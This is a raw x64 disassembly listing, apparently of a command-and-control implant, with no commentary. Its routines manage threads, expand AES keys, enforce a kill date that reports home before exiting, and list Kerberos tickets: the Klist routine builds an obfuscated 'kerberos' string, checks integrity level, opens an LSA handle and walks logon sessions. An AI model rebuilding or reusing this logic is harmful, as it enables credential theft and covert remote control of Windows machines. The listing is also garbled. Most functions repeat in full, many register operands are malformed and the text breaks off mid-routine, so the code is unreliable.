140016a77mov r9l, eax
140016a7amov r8l, 305
140016a80lea rcx, [rip+0x11824]
140016a87call printf
140016a8cmov rdi, [rsi+2230]
140016a93mov ecx, ebp
140016a95call [rsi+348]
140016a9bmov ecx, 1
140016aa0mov [rdi+104], eax
140016aa3mov rax, [rsi+2230]
140016aaamov edx, [rax+104]
140016aadcall PackageTransmitError
140016ab2jmp 0x140016ad9
140016ab4
140016ab4loc_140016ab4:
140016ab4dec [rsi+2238]
140016aba
140016abaloc_140016aba:
140016abamov edi, 1
140016abfjmp 0x140016bde
140016ac4
140016ac4loc_140016ac4:
140016ac4lea r9, [rip+0x116be]
140016acbmov r8l, 318
140016ad1mov rdx, r12
140016ad4call printf
140016ad9
140016ad9loc_140016ad9:
140016ad9xor edi, edi
140016adbjmp 0x140016bde
140016ae0
140016ae0loc_140016ae0:
140016ae0cmp [rbx+10], 3
140016ae5je 0x140016aba
140016ae7mov rcx, [rbx+16]
140016aebxor edx, edx
140016aedcall [rsi+980]
140016af3jmp 0x140016aba
140016af5
140016af5loc_140016af5:
140016af5cmp [rbx+10], 3
140016afaje 0x140016aba
140016afcxor edx, edx
140016afemov rcx, [rbx+16]
140016b02lea rdi, [rsp+60]
140016b07call [rsi+980]
140016b0dmov rax, [rbx+24]
140016b11xor ecx, ecx
140016b13xor r8l, r8l
140016b16mov [rsp+40], r8
140016b1bxor r9l, r9l
140016b1exor r8l, r8l
140016b21xor edx, edx
140016b23mov [rsp+60], ecx
140016b27mov [rsp+32], rdi
140016b2cmov rcx, [rax]
140016b2fcall [rsi+860]
140016b35test eax, eax
140016b37je 0x140016aba
140016b39mov r9l, [rsp+60]
140016b3elea rcx, [rip+0x116ef]
140016b45mov r8l, 346
140016b4bmov rdx, r12
140016b4ecall printf
140016b53mov ecx, [rsp+60]
140016b57test ecx, ecx
140016b59je 0x140016aba
140016b5fmov r15l, ecx
140016b62mov ecx, 64
140016b67mov rdx, r15
140016b6acall [rsi+932]
140016b70xor edx, edx
140016b72mov r8l, [rsp+60]
140016b77mov r9, rdi
140016b7amov rbp, rax
140016b7dmov rax, [rbx+24]
140016b81mov [rsp+32], rdx
140016b86mov rdx, rbp
140016b89mov rcx, [rax]
140016b8ccall [rsi+916]
140016b92test eax, eax
140016b94je 0x140016bbd
140016b96mov edx, [rbx]
140016b98mov ecx, 90
140016b9dcall PackageCreateWithRequestID
140016ba2mov r8l, [rsp+60]
140016ba7mov rdx, rbp
140016baamov rdi, rax
140016badmov rcx, rax
140016bb0call PackageAddBytes
140016bb5mov rcx, rdi
140016bb8call PackageTransmit
140016bbd
140016bbdloc_140016bbd:
140016bbdtest rbp, rbp
140016bc0je 0x140016aba
140016bc6mov rdi, rbp
140016bc9mov rcx, r15
140016bccxor eax, eax
140016bcerep stosb [rdi], al
140016bd0mov rcx, rbp
140016bd3call [rsi+940]
140016bd9jmp 0x140016aba
140016bde
140016bdeloc_140016bde:
140016bdemov ecx, r13l
140016be1call JobRemove
140016be6
140016be6loc_140016be6:
140016be6mov rbx, [rbx+32]
140016beajmp 0x1400169d1
140016bef
140016befloc_140016bef:
140016befadd rsp, 72
140016bf3mov eax, edi
140016bf5pop rbx
140016bf6pop rsi
140016bf7pop rdi
140016bf8pop rbp
140016bf9pop r12
140016bfbpop r13
140016bfdpop r14
140016bffpop r15
140016c01ret
1400169a0
1400169a0JobKill:
1400169a0push r15
1400169a2push r14
1400169a4lea r14, [rip+0x118c0]
1400169abpush r13
1400169admov r13l, ecx
1400169b0push r12
1400169b2lea r12, [rip+0x15e47]
1400169b9push rbp
1400169bapush rdi
1400169bbxor edi, edi
1400169bdpush rsi
1400169bepush rbx
1400169bfsub rsp, 72
1400169c3mov rsi, [rip+0x159a6]
1400169camov rbx, [rsi+2302]
1400169d1
1400169d1loc_1400169d1:
1400169d1test rbx, rbx
1400169d4je 0x140016bef
1400169dacmp [rbx+4], r13l
1400169dejne 0x140016be6
1400169e4mov r9l, r13l
1400169e7mov r8l, 288
1400169edmov rdx, r12
1400169f0mov rcx, r14
1400169f3call printf
1400169f8mov eax, [rbx+8]
1400169fbcmp ax, 2
1400169ffje 0x140016ae0
140016a05cmp ax, 3
140016a09je 0x140016af5
140016a0fdec ax
140016a12jne 0x140016aba
140016a18cmp [rbx+10], 3
140016a1dje 0x140016aba
140016a23lea rcx, [rip+0x1174b]
140016a2alea r9, [rip+0x1185c]
140016a31mov r8l, 296
140016a37mov rdx, r12
140016a3acall printf
140016a3fcmp [rbx+16], 0
140016a44lea rcx, [rip+0x1172a]
140016a4bje 0x140016ac4
140016a4dlea r9, [rip+0x11845]
140016a54mov r8l, 301
140016a5amov rdx, r12
140016a5dcall printf
140016a62mov rcx, [rbx+16]
140016a66xor edx, edx
140016a68call [rsi+684]
140016a6emov ebp, eax
140016a70test eax, eax
140016a72jns 0x140016ab4
140016a74mov rdx, r12
140016a77mov r9l, eax
140016a7amov r8l, 305
140016a80lea rcx, [rip+0x11824]
140016a87call printf
140016a8cmov rdi, [rsi+2230]
140016a93mov ecx, ebp
140016a95call [rsi+348]
140016a9bmov ecx, 1
140016aa0mov [rdi+104], eax
140016aa3mov rax, [rsi+2230]
140016aaamov edx, [rax+104]
140016aadcall PackageTransmitError
140016ab2jmp 0x140016ad9
140016ab4
140016ab4loc_140016ab4:
140016ab4dec [rsi+2238]
140016aba
140016abaloc_140016aba:
140016abamov edi, 1
140016abfjmp 0x140016bde
140016ac4
140016ac4loc_140016ac4:
140016ac4lea r9, [rip+0x116be]
140016acbmov r8l, 318
140016ad1mov rdx, r12
140016ad4call printf
140016ad9
140016ad9loc_140016ad9:
140016ad9xor edi, edi
140016adbjmp 0x140016bde
140016ae0
140016ae0loc_140016ae0:
140016ae0cmp [rbx+10], 3
140016ae5je 0x140016aba
140016ae7mov rcx, [rbx+16]
140016aebxor edx, edx
140016aedcall [rsi+980]
140016af3jmp 0x140016aba
140016af5
140016af5loc_140016af5:
140016af5cmp [rbx+10], 3
140016afaje 0x140016aba
140016afcxor edx, edx
140016afemov rcx, [rbx+16]
140016b02lea rdi, [rsp+60]
140016b07call [rsi+980]
140016b0dmov rax, [rbx+24]
140016b11xor ecx, ecx
140016b13xor r8l, r8l
140016b16mov [rsp+40], r8
140016b1bxor r9l, r9l
140016b1exor r8l, r8l
140016b21xor edx, edx
140016b23mov [rsp+60], ecx
140016b27mov [rsp+32], rdi
140016b2cmov rcx, [rax]
140016b2fcall [rsi+860]
140016b35test eax, eax
140016b37je 0x140016aba
140016b39mov r9l, [rsp+60]
140016b3elea rcx, [rip+0x116ef]
140016b45mov r8l, 346
140016b4bmov rdx, r12
140016b4ecall printf
140016b53mov ecx, [rsp+60]
140016b57test ecx, ecx
140016b59je 0x140016aba
140016b5fmov r15l, ecx
140016b62mov ecx, 64
140016b67mov rdx, r15
140016b6acall [rsi+932]
140016b70xor edx, edx
140016b72mov r8l, [rsp+60]
140016b77mov r9, rdi
140016b7amov rbp, rax
140016b7dmov rax, [rbx+24]
140016b81mov [rsp+32], rdx
140016b86mov rdx, rbp
140016b89mov rcx, [rax]
140016b8ccall [rsi+916]
140016b92test eax, eax
140016b94je 0x140016bbd
140016b96mov edx, [rbx]
140016b98mov ecx, 90
140016b9dcall PackageCreateWithRequestID
140016ba2mov r8l, [rsp+60]
140016ba7mov rdx, rbp
140016baamov rdi, rax
140016badmov rcx, rax
140016bb0call PackageAddBytes
140016bb5mov rcx, rdi
140016bb8call PackageTransmit
140016bbd
140016bbdloc_140016bbd:
140016bbdtest rbp, rbp
140016bc0je 0x140016aba
140016bc6mov rdi, rbp
140016bc9mov rcx, r15
140016bccxor eax, eax
140016bcerep stosb [rdi], al
140016bd0mov rcx, rbp
140016bd3call [rsi+940]
140016bd9jmp 0x140016aba
140016bde
140016bdeloc_140016bde:
140016bdemov ecx, r13l
140016be1call JobRemove
140016be6
140016be6loc_140016be6:
140016be6mov rbx, [rbx+32]
140016beajmp 0x1400169d1
140016bef
140016befloc_140016bef:
140016befadd rsp, 72
140016bf3mov eax, edi
140016bf5pop rbx
140016bf6pop rsi
140016bf7pop rdi
140016bf8pop rbp
140016bf9pop r12
140016bfbpop r13
140016bfdpop r14
140016bffpop r15
140016c01ret
1400169a0
140016c02
140016c02 // align 0x10
140016c02 // align 0x10
140016c10
140016c10JobRemove:
140016c10push rbp
140016c11lea rbp, [rip+0x159d8]
140016c18mov r9l, ecx
140016c1bmov r8l, 387
140016c21push rdi
140016c22mov rdx, rbp
140016c25mov edi, ecx
140016c27lea rcx, [rip+0x11579]
140016c2epush rsi
140016c2fpush rbx
140016c30sub rsp, 40
140016c34call printf
140016c39lea r9, [rip+0x11589]
140016c40mov rdx, rbp
140016c43mov r8l, 388
140016c49lea rcx, [rip+0x11525]
140016c50call printf
140016c55mov rsi, [rip+0x15714]
140016c5cmov rbx, [rsi+2302]
140016c63test rbx, rbx
140016c66je 0x140016c6d
140016c68cmp [rbx+4], edi
140016c6bje 0x140016c74
140016c6d
140016c6dloc_140016c6d:
140016c6dmov rax, rbx
140016c70xor ebx, ebx
140016c72jmp 0x140016ca0
140016c74
140016c74loc_140016c74:
140016c74mov rax, [rbx+32]
140016c78mov [rsi+2302], rax
140016c7fjmp 0x140016cca
140016c81
140016c81loc_140016c81:
140016c81mov rdx, rax
140016c84mov rax, [rax+32]
140016c88test rax, rax
140016c8bje 0x140016ca5
140016c8dcmp [rax+4], edi
140016c90jne 0x140016c81
140016c92mov rcx, [rax+32]
140016c96mov rbx, rax
140016c99mov rax, rdx
140016c9cmov [rdx+32], rcx
140016ca0
140016ca0loc_140016ca0:
140016ca0test rax, rax
140016ca3jne 0x140016c81
140016ca5
140016ca5loc_140016ca5:
140016ca5test rbx, rbx
140016ca8jne 0x140016cca
140016caaadd rsp, 40
140016caemov r9l, edi
140016cb1mov rdx, rbp
140016cb4mov r8l, 417
140016cbapop rbx
140016cbblea rcx, [rip+0x11534]
140016cc2pop rsi
140016cc3pop rdi
140016cc4pop rbp
140016cc5jmp 0x140022d30
140016cca
140016ccaloc_140016cca:
140016ccamov rcx, [rbx+16]
140016ccetest rcx, rcx
140016cd1je 0x140016cd8
140016cd3call SysNtClose
140016cd8
140016cd8loc_140016cd8:
140016cd8cmp [rbx+8], 3
140016cddjne 0x140016d01
140016cdfmov rdi, [rbx+24]
140016ce3test rdi, rdi
140016ce6je 0x140016d01
140016ce8mov ecx, 16
140016cedxor eax, eax
140016cefrep stosb [rdi], al
140016cf1mov rcx, [rbx+24]
140016cf5call [rsi+940]
140016cfbxor eax, eax
140016cfdmov [rbx+24], rax
140016d01
140016d01loc_140016d01:
140016d01mov rdi, rbx
140016d04mov ecx, 40
140016d09xor eax, eax
140016d0brep stosb [rdi], al
140016d0dmov rax, [rsi+940]
140016d14add rsp, 40
140016d18mov rcx, rbx
140016d1bpop rbx
140016d1cpop rsi
140016d1dpop rdi
140016d1epop rbp
140016d1fjmp rax
140016c10
140016c10JobRemove:
140016c10push rbp
140016c11lea rbp, [rip+0x159d8]
140016c18mov r9l, ecx
140016c1bmov r8l, 387
140016c21push rdi
140016c22mov rdx, rbp
140016c25mov edi, ecx
140016c27lea rcx, [rip+0x11579]
140016c2epush rsi
140016c2fpush rbx
140016c30sub rsp, 40
140016c34call printf
140016c39lea r9, [rip+0x11589]
140016c40mov rdx, rbp
140016c43mov r8l, 388
140016c49lea rcx, [rip+0x11525]
140016c50call printf
140016c55mov rsi, [rip+0x15714]
140016c5cmov rbx, [rsi+2302]
140016c63test rbx, rbx
140016c66je 0x140016c6d
140016c68cmp [rbx+4], edi
140016c6bje 0x140016c74
140016c6d
140016c6dloc_140016c6d:
140016c6dmov rax, rbx
140016c70xor ebx, ebx
140016c72jmp 0x140016ca0
140016c74
140016c74loc_140016c74:
140016c74mov rax, [rbx+32]
140016c78mov [rsi+2302], rax
140016c7fjmp 0x140016cca
140016c81
140016c81loc_140016c81:
140016c81mov rdx, rax
140016c84mov rax, [rax+32]
140016c88test rax, rax
140016c8bje 0x140016ca5
140016c8dcmp [rax+4], edi
140016c90jne 0x140016c81
140016c92mov rcx, [rax+32]
140016c96mov rbx, rax
140016c99mov rax, rdx
140016c9cmov [rdx+32], rcx
140016ca0
140016ca0loc_140016ca0:
140016ca0test rax, rax
140016ca3jne 0x140016c81
140016ca5
140016ca5loc_140016ca5:
140016ca5test rbx, rbx
140016ca8jne 0x140016cca
140016caaadd rsp, 40
140016caemov r9l, edi
140016cb1mov rdx, rbp
140016cb4mov r8l, 417
140016cbapop rbx
140016cbblea rcx, [rip+0x11534]
140016cc2pop rsi
140016cc3pop rdi
140016cc4pop rbp
140016cc5jmp 0x140022d30
140016cca
140016ccaloc_140016cca:
140016ccamov rcx, [rbx+16]
140016ccetest rcx, rcx
140016cd1je 0x140016cd8
140016cd3call SysNtClose
140016cd8
140016cd8loc_140016cd8:
140016cd8cmp [rbx+8], 3
140016cddjne 0x140016d01
140016cdfmov rdi, [rbx+24]
140016ce3test rdi, rdi
140016ce6je 0x140016d01
140016ce8mov ecx, 16
140016cedxor eax, eax
140016cefrep stosb [rdi], al
140016cf1mov rcx, [rbx+24]
140016cf5call [rsi+940]
140016cfbxor eax, eax
140016cfdmov [rbx+24], rax
140016d01
140016d01loc_140016d01:
140016d01mov rdi, rbx
140016d04mov ecx, 40
140016d09xor eax, eax
140016d0brep stosb [rdi], al
140016d0dmov rax, [rsi+940]
140016d14add rsp, 40
140016d18mov rcx, rbx
140016d1bpop rbx
140016d1cpop rsi
140016d1dpop rdi
140016d1epop rbp
140016d1fjmp rax
140016c10
140016d21
140016d21 // align 0x10
140016d21 // align 0x10
140016d30
140016d30JobResume:
140016d30push rbp
140016d31lea rbp, [rip+0x1140a]
140016d38push rdi
140016d39lea rdi, [rip+0x15f60]
140016d40push rsi
140016d41mov esi, ecx
140016d43push rbx
140016d44sub rsp, 40
140016d48mov rax, [rip+0x15621]
140016d4fmov rbx, [rax+2302]
140016d56
140016d56loc_140016d56:
140016d56test rbx, rbx
140016d59je 0x140016de2
140016d5fcmp [rbx+4], esi
140016d62jne 0x140016dd9
140016d64mov r9l, esi
140016d67mov r8l, 239
140016d6dmov rdx, rdi
140016d70mov rcx, rbp
140016d73call printf
140016d78cmp [rbx+8], 1
140016d7djne 0x140016dd9
140016d7flea rsi, [rip+0x113ef]
140016d86lea r9, [rip+0x1140c]
140016d8dmov r8l, 243
140016d93mov rdx, rdi
140016d96mov rcx, rsi
140016d99call printf
140016d9emov rcx, [rbx+16]
140016da2test rcx, rcx
140016da5je 0x140016dbf
140016da7xor edx, edx
140016da9call SysNtResumeThread
140016daetest eax, eax
140016db0js 0x140016de2
140016db2mov [rbx+10], 1
140016db8mov eax, 1
140016dbdjmp 0x140016de4
140016dbf
140016dbfloc_140016dbf:
140016dbflea r9, [rip+0x113c3]
140016dc6mov r8l, 260
140016dccmov rdx, rdi
140016dcfmov rcx, rsi
140016dd2call printf
140016dd7jmp 0x140016de2
140016dd9
140016dd9loc_140016dd9:
140016dd9mov rbx, [rbx+32]
140016dddjmp 0x140016d56
140016de2
140016de2loc_140016de2:
140016de2xor eax, eax
140016de4
140016de4loc_140016de4:
140016de4add rsp, 40
140016de8pop rbx
140016de9pop rsi
140016deapop rdi
140016debpop rbp
140016decret
140016d30
140016d30JobResume:
140016d30push rbp
140016d31lea rbp, [rip+0x1140a]
140016d38push rdi
140016d39lea rdi, [rip+0x15f60]
140016d40push rsi
140016d41mov esi, ecx
140016d43push rbx
140016d44sub rsp, 40
140016d48mov rax, [rip+0x15621]
140016d4fmov rbx, [rax+2302]
140016d56
140016d56loc_140016d56:
140016d56test rbx, rbx
140016d59je 0x140016de2
140016d5fcmp [rbx+4], esi
140016d62jne 0x140016dd9
140016d64mov r9l, esi
140016d67mov r8l, 239
140016d6dmov rdx, rdi
140016d70mov rcx, rbp
140016d73call printf
140016d78cmp [rbx+8], 1
140016d7djne 0x140016dd9
140016d7flea rsi, [rip+0x113ef]
140016d86lea r9, [rip+0x1140c]
140016d8dmov r8l, 243
140016d93mov rdx, rdi
140016d96mov rcx, rsi
140016d99call printf
140016d9emov rcx, [rbx+16]
140016da2test rcx, rcx
140016da5je 0x140016dbf
140016da7xor edx, edx
140016da9call SysNtResumeThread
140016daetest eax, eax
140016db0js 0x140016de2
140016db2mov [rbx+10], 1
140016db8mov eax, 1
140016dbdjmp 0x140016de4
140016dbf
140016dbfloc_140016dbf:
140016dbflea r9, [rip+0x113c3]
140016dc6mov r8l, 260
140016dccmov rdx, rdi
140016dcfmov rcx, rsi
140016dd2call printf
140016dd7jmp 0x140016de2
140016dd9
140016dd9loc_140016dd9:
140016dd9mov rbx, [rbx+32]
140016dddjmp 0x140016d56
140016de2
140016de2loc_140016de2:
140016de2xor eax, eax
140016de4
140016de4loc_140016de4:
140016de4add rsp, 40
140016de8pop rbx
140016de9pop rsi
140016deapop rdi
140016debpop rbp
140016decret
140016d30
140016ded
140016ded // align 0x10
140016ded // align 0x10
140016df0
140016df0JobSuspend:
140016df0push rbp
140016df1lea rbp, [rip+0x1134a]
140016df8push rdi
140016df9lea rdi, [rip+0x161b0]
140016e00push rsi
140016e01mov esi, ecx
140016e03push rbx
140016e04sub rsp, 40
140016e08mov rax, [rip+0x15561]
140016e0fmov rbx, [rax+2302]
140016e16
140016e16loc_140016e16:
140016e16test rbx, rbx
140016e19je 0x140016ea2
140016e1fcmp [rbx+4], esi
140016e22jne 0x140016e99
140016e24mov r9l, esi
140016e27mov r8l, 193
140016e2dmov rdx, rdi
140016e30mov rcx, rbp
140016e33call printf
140016e38cmp [rbx+8], 1
140016e3djne 0x140016e99
140016e3flea rsi, [rip+0x1132f]
140016e46lea r9, [rip+0x11316]
140016e4dmov r8l, 197
140016e53mov rdx, rdi
140016e56mov rcx, rsi
140016e59call printf
140016e5emov rcx, [rbx+16]
140016e62test rcx, rcx
140016e65je 0x140016e7f
140016e67xor edx, edx
140016e69call SysNtSuspendThread
140016e6etest eax, eax
140016e70js 0x140016ea2
140016e72mov [rbx+10], 2
140016e78mov eax, 1
140016e7djmp 0x140016ea4
140016e7f
140016e7floc_140016e7f:
140016e7flea r9, [rip+0x11303]
140016e86mov r8l, 213
140016e8cmov rdx, rdi
140016e8fmov rcx, rsi
140016e92call printf
140016e97jmp 0x140016ea2
140016e99
140016e99loc_140016e99:
140016e99mov rbx, [rbx+32]
140016e9djmp 0x140016e16
140016ea2
140016ea2loc_140016ea2:
140016ea2xor eax, eax
140016ea4
140016ea4loc_140016ea4:
140016ea4add rsp, 40
140016ea8pop rbx
140016ea9pop rsi
140016eaapop rdi
140016eabpop rbp
140016eacret
140016df0
140016df0JobSuspend:
140016df0push rbp
140016df1lea rbp, [rip+0x1134a]
140016df8push rdi
140016df9lea rdi, [rip+0x161b0]
140016e00push rsi
140016e01mov esi, ecx
140016e03push rbx
140016e04sub rsp, 40
140016e08mov rax, [rip+0x15561]
140016e0fmov rbx, [rax+2302]
140016e16
140016e16loc_140016e16:
140016e16test rbx, rbx
140016e19je 0x140016ea2
140016e1fcmp [rbx+4], esi
140016e22jne 0x140016e99
140016e24mov r9l, esi
140016e27mov r8l, 193
140016e2dmov rdx, rdi
140016e30mov rcx, rbp
140016e33call printf
140016e38cmp [rbx+8], 1
140016e3djne 0x140016e99
140016e3flea rsi, [rip+0x1132f]
140016e46lea r9, [rip+0x11316]
140016e4dmov r8l, 197
140016e53mov rdx, rdi
140016e56mov rcx, rsi
140016e59call printf
140016e5emov rcx, [rbx+16]
140016e62test rcx, rcx
140016e65je 0x140016e7f
140016e67xor edx, edx
140016e69call SysNtSuspendThread
140016e6etest eax, eax
140016e70js 0x140016ea2
140016e72mov [rbx+10], 2
140016e78mov eax, 1
140016e7djmp 0x140016ea4
140016e7f
140016e7floc_140016e7f:
140016e7flea r9, [rip+0x11303]
140016e86mov r8l, 213
140016e8cmov rdx, rdi
140016e8fmov rcx, rsi
140016e92call printf
140016e97jmp 0x140016ea2
140016e99
140016e99loc_140016e99:
140016e99mov rbx, [rbx+32]
140016e9djmp 0x140016e16
140016ea2
140016ea2loc_140016ea2:
140016ea2xor eax, eax
140016ea4
140016ea4loc_140016ea4:
140016ea4add rsp, 40
140016ea8pop rbx
140016ea9pop rsi
140016eaapop rdi
140016eabpop rbp
140016eacret
140016df0
140016ead
140016ead // align 0x10
140016ead // align 0x10
140016eb0
140016eb0KeyExpansion:
140016eb0push rsi
140016eb1xor eax, eax
140016eb3push rbx
140016eb4
140016eb4loc_140016eb4:
140016eb4mov r8b, [rdx+rax]
140016eb8mov [rcx+rax], r8b
140016ebcmov r8b, [rdx+rax+1]
140016ec1mov [rcx+rax+1], r8b
140016ec6mov r8b, [rdx+rax+2]
140016ecbmov [rcx+rax+2], r8b
140016ed0mov r8b, [rdx+rax+3]
140016ed5mov [rcx+rax+3], r8b
140016edaadd rax, 4
140016edecmp rax, 32
140016ee2jne 0x140016eb4
140016ee4mov r11l, 8
140016eealea r10, [rip+0x1660f]
140016ef1lea rbx, [rip+0x15688]
140016ef8
140016ef8loc_140016ef8:
140016ef8mov esi, r11l
140016efbmovzx r9l, [rcx+28]
140016f00movzx r8l, [rcx+29]
140016f05movzx edx, [rcx+30]
140016f09movzx eax, [rcx+31]
140016f0dand esi, 7
140016f10jne 0x140016f32
140016f12mov sil, [r10+r8]
140016f16mov r8b, [r10+rdx]
140016f1amov dl, [r10+rax]
140016f1emov al, [r10+r9]
140016f22mov r9l, r11l
140016f25shr r9l, 3
140016f29xor sil, [rbx+r9]
140016f2dmov r9l, esi
140016f30jmp 0x140016f47
140016f32
140016f32loc_140016f32:
140016f32cmp esi, 4
140016f35jne 0x140016f47
140016f37mov r9b, [r10+r9]
140016f3bmov r8b, [r10+r8]
140016f3fmov dl, [r10+rdx]
140016f43mov al, [r10+rax]
140016f47
140016f47loc_140016f47:
140016f47xor r9b, [rcx]
140016f4axor r8b, [rcx+1]
140016f4einc r11l
140016f51add rcx, 4
140016f55xor dl, [rcx-2]
140016f58xor al, [rcx-1]
140016f5bmov [rcx+28], r9b
140016f5fmov [rcx+29], r8b
140016f63mov [rcx+30], dl
140016f66mov [rcx+31], al
140016f69cmp r11l, 60
140016f6djne 0x140016ef8
140016f6fpop rbx
140016f70pop rsi
140016f71ret
140016eb0
140016eb0KeyExpansion:
140016eb0push rsi
140016eb1xor eax, eax
140016eb3push rbx
140016eb4
140016eb4loc_140016eb4:
140016eb4mov r8b, [rdx+rax]
140016eb8mov [rcx+rax], r8b
140016ebcmov r8b, [rdx+rax+1]
140016ec1mov [rcx+rax+1], r8b
140016ec6mov r8b, [rdx+rax+2]
140016ecbmov [rcx+rax+2], r8b
140016ed0mov r8b, [rdx+rax+3]
140016ed5mov [rcx+rax+3], r8b
140016edaadd rax, 4
140016edecmp rax, 32
140016ee2jne 0x140016eb4
140016ee4mov r11l, 8
140016eealea r10, [rip+0x1660f]
140016ef1lea rbx, [rip+0x15688]
140016ef8
140016ef8loc_140016ef8:
140016ef8mov esi, r11l
140016efbmovzx r9l, [rcx+28]
140016f00movzx r8l, [rcx+29]
140016f05movzx edx, [rcx+30]
140016f09movzx eax, [rcx+31]
140016f0dand esi, 7
140016f10jne 0x140016f32
140016f12mov sil, [r10+r8]
140016f16mov r8b, [r10+rdx]
140016f1amov dl, [r10+rax]
140016f1emov al, [r10+r9]
140016f22mov r9l, r11l
140016f25shr r9l, 3
140016f29xor sil, [rbx+r9]
140016f2dmov r9l, esi
140016f30jmp 0x140016f47
140016f32
140016f32loc_140016f32:
140016f32cmp esi, 4
140016f35jne 0x140016f47
140016f37mov r9b, [r10+r9]
140016f3bmov r8b, [r10+r8]
140016f3fmov dl, [r10+rdx]
140016f43mov al, [r10+rax]
140016f47
140016f47loc_140016f47:
140016f47xor r9b, [rcx]
140016f4axor r8b, [rcx+1]
140016f4einc r11l
140016f51add rcx, 4
140016f55xor dl, [rcx-2]
140016f58xor al, [rcx-1]
140016f5bmov [rcx+28], r9b
140016f5fmov [rcx+29], r8b
140016f63mov [rcx+30], dl
140016f66mov [rcx+31], al
140016f69cmp r11l, 60
140016f6djne 0x140016ef8
140016f6fpop rbx
140016f70pop rsi
140016f71ret
140016eb0
140016f72
140016f72 // align 0x10
140016f72 // align 0x10
140016f80
140016f80KillDate:
140016f80sub rsp, 40
140016f84lea r9, [rip+0x105ed]
140016f8bmov r8l, 3226
140016f91lea rdx, [rip+0x15818]
140016f98lea rcx, [rip+61545]
140016f9fcall printf
140016fa4mov ecx, 93
140016fa9call PackageCreate
140016faemov rcx, rax
140016fb1call PackageTransmit
140016fb6xor ecx, ecx
140016fb8xor edx, edx
140016fbacall PackageTransmitAll
140016fbfxor ecx, ecx
140016fc1add rsp, 40
140016fc5jmp 0x14000aa10
140016f80
140016f80KillDate:
140016f80sub rsp, 40
140016f84lea r9, [rip+0x105ed]
140016f8bmov r8l, 3226
140016f91lea rdx, [rip+0x15818]
140016f98lea rcx, [rip+61545]
140016f9fcall printf
140016fa4mov ecx, 93
140016fa9call PackageCreate
140016faemov rcx, rax
140016fb1call PackageTransmit
140016fb6xor ecx, ecx
140016fb8xor edx, edx
140016fbacall PackageTransmitAll
140016fbfxor ecx, ecx
140016fc1add rsp, 40
140016fc5jmp 0x14000aa10
140016f80
140016fca
140016fca // align 0x10
140016fca // align 0x10
140016fd0
140016fd0Klist:
140016fd0push rbp
140016fd1xor r11l, r11l
140016fd4xor r9l, r9l
140016fd7xor r10l, r10l
140016fdamov rbp, rsp
140016fddpush r15
140016fdfpush r14
140016fe1xor r14l, r14l
140016fe4push r13
140016fe6xor r13l, r13l
140016fe9push r12
140016febxor r12l, r12l
140016feepush rdi
140016fefmov rdi, rdx
140016ff2push rsi
140016ff3xor esi, esi
140016ff5push rbx
140016ff6mov rbx, rcx
140016ff9mov ecx, 114
140016ffeand rsp, -16
140017002sub rsp, 192
140017009mov [rsp+128], r9
140017011mov [rsp+116], r10l
140017016mov [rsp+184], r11
14001701emov [rsp+136], r11
140017026mov [rsp+164], r11
14001702emov [rsp+176], 0x90008
140017039mov [rsp+172], esi
140017040mov [rsp+144], r12
140017048mov [rsp+120], r13l
14001704dmov [rsp+124], r13l
140017052mov [rsp+155], r14
14001705amov [rsp+163], 0
140017062call HideChar
140017067mov ecx, 107
14001706cmov [rsp+160], al
140017073call HideChar
140017078xor ecx, ecx
14001707amov [rsp+155], al
140017081call HideChar
140017086mov ecx, 101
14001708bmov [rsp+163], al
140017092call HideChar
140017097mov ecx, 114
14001709cmov [rsp+156], al
1400170a3call HideChar
1400170a8mov ecx, 115
1400170admov [rsp+157], al
1400170b4call HideChar
1400170b9mov ecx, 98
1400170bemov [rsp+162], al
1400170c5call HideChar
1400170camov ecx, 111
1400170cfmov [rsp+158], al
1400170d6call HideChar
1400170dbmov ecx, 101
1400170e0mov [rsp+161], al
1400170e7call HideChar
1400170ecmov [rsp+159], al
1400170f3lea rax, [rsp+155]
1400170fbmov [rsp+80], rax
140017100mov [rsp+184], rax
140017108test rbx, rbx
14001710bje 0x14001713b
14001710dmov rcx, rbx
140017110call IsHighIntegrity
140017115mov edx, eax
140017117test eax, eax
140017119jne 0x140017145
14001711blea r9, [rip+0x1128e]
140017122mov r8l, 623
140017128lea rdx, [rip+0x154d1]
14001712flea rcx, [rip+0x111d1]
140017136call printf
14001713b
14001713bloc_14001713b:
14001713bxor r12l, r12l
14001713exor esi, esi
140017140jmp 0x140017465
140017145
140017145loc_140017145:
140017145lea r8, [rsp+128]
14001714dmov rcx, rbx
140017150call GetLsaHandle
140017155mov r9l, eax
140017158test eax, eax
14001715ajs 0x14001716e
14001715cmov rax, [rsp+128]
140017164mov [rsp+88], rax
140017169test rax, rax
14001716cjne 0x140017184
14001716e
14001716eloc_14001716e:
14001716emov r8l, 630
140017174lea rdx, [rip+0x15485]
14001717blea rcx, [rip+0x11249]
140017182jmp 0x140017200
140017184
140017184loc_140017184:
140017184mov rsi, [rip+0x151e5]
14001718bmov rcx, [rsp+88]
140017190lea r8, [rsp+116]
140017195lea rdx, [rsp+176]
14001719dcall [rsi+1988]
1400171a3mov ecx, eax
1400171a5test eax, eax
1400171a7jns 0x1400171c8
1400171a9call [rsi+1452]
1400171afmov r8l, 637
1400171b5lea rdx, [rip+0x15444]
1400171bclea rcx, [rip+0x11269]
1400171c3mov r9l, eax
1400171c6jmp 0x140017200
1400171c8
1400171c8loc_1400171c8:
1400171c8lea rdx, [rsp+136]
1400171d0mov rcx, rdi
1400171d3call GetLogonSessionData
1400171d8mov r9l, eax
1400171dbtest eax, eax
1400171ddjs 0x1400171ec
1400171dfmov rdi, [rsp+136]
1400171e7test rdi, rdi
1400171eajne 0x14001720a
1400171ec
1400171ecloc_1400171ec:
1400171ecmov r8l, 644
1400171f2lea rdx, [rip+0x15407]
1400171f9lea rcx, [rip+0x11264]
140017200
140017200loc_140017200:
140017200call printf
140017205jmp 0x14001713b
14001720a
14001720aloc_14001720a:
14001720alea rax, [rsp+96]
14001720fxor r13l, r13l
140017212xor r12l, r12l
140017215mov [rsp+164], 14
140017220mov [rsp+72], rax
140017225
140017225loc_140017225:
140017225cmp r13l, [rdi+8]
140017229jae 0x140017460
14001722fmov rax, [rdi]
140017232lea r14, [8*r13]
14001723acmp [rax+8*r13], 0
14001723fje 0x140017458
140017245mov edx, 7216
14001724amov ecx, 64
14001724fcall [rsi+932]
140017255mov rbx, rax
140017258test rax, rax
14001725bje 0x140017458
140017261mov rax, [rdi]
140017264mov rcx, rbx
140017267mov rdx, [rax+r14]
14001726bcall CopySessionInfo
140017270test r12, r12
140017273jne 0x140017284
140017275xor r8l, r8l
140017278mov r12, rbx
14001727bmov [rbx+7208], r8
140017282jmp 0x14001729d
140017284
140017284loc_140017284:
140017284mov rax, r12
140017287
